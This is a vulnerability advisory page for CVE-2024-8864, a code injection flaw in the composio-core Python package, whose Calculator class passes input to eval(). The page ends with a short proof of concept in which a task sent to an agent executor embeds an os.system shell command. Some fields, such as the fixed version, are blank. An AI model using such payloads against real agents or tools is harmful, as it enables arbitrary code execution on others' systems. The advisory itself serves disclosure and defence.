Code Injection Affecting composio-core package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.16% (55th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-COMPOSIOCORE-7981553
  • published15 Sept 2024
  • disclosed15 Sept 2024
  • creditAftersnows

Introduced: 15 Sep 2024

CVE-2024-8864  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade composio-core to version or higher.

Overview

composio-core is a Core package to act as a bridge between composio platform and other services.

Affected versions of this package are vulnerable to Code Injection in the Calculator class, which passes arbitrary input to the eval() function.

PoC

task = "Calculate  __import__('os').system('touch ./hack.txt')"
agent_executor.invoke({"input": task})

CVSS Scores

version 4.0
version 3.1